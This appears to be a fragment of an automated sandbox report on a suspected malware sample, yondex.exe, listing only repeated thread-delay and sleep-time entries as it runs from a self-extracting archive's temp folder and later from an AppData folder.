Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560453
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560305
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559858
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559727
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559462
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559321
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559163
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558889
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558757
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558594
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558451
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558315
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558166
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557875
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557742
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557605
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557471
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556943
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556811
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556684
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556354
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555931
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555686
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555529
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555364
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555085
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554984
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554874
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554656
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554547
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554218
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 553890

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Window / User API: threadDelayed 1129	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Window / User API: threadDelayed 3431	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Window / User API: threadDelayed 5507
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Window / User API: threadDelayed 2391
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Window / User API: threadDelayed 486

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7536	Thread sleep count: 1129 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7536	Thread sleep count: 3431 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599304s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599202s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598967s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7240	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598858s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598745s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598342s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597544s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -597172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -596750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe TID: 7524	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7744	Thread sleep count: 161 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -599688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -599469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -599266s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -599104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -598907s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7616	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -597030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -596657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -596275s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -596104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7732	Thread sleep time: -594438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8024	Thread sleep count: 153 > 30
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -599810s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -599562s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -599156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -599000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 7916	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -598796s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -598359s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -598164s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -597843s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -597640s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -597455s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -597281s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -597124s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -596921s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -596718s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -596542s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -596328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -596156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -595994s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -595734s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -595375s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -595140s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -594906s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8020	Thread sleep time: -594701s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8176	Thread sleep count: 5507 > 30
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -599469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -599265s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -599031s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -598812s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -598625s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8112	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -598406s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -598187s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -598031s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -597765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -597574s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -597390s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -597203s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -597015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596890s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596778s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596658s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596498s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596338s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596217s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -596052s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595807s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595685s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595546s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595378s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -595102s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594961s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594806s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594661s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594386s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -594062s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593936s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593797s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593640s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593530s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593393s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -593104s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592937s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592820s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592672s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592515s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592375s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -592098s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591783s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591640s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591312s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591186s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -591047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590911s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590777s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590653s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590530s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590390s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590250s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -590109s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589993s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589859s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589723s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589585s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589281s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -589026s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588901s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588763s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588621s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588475s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588337s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588210s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -588071s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587943s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587625s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587484s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587328s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587202s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -587047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586906s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586778s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586609s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586286s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586154s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -586015s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -585875s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -585719s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -585578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -585437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -585094s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584903s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584765s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584647s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584509s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584346s >= -30000s
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe TID: 8168	Thread sleep time: -584203s >= -30000s
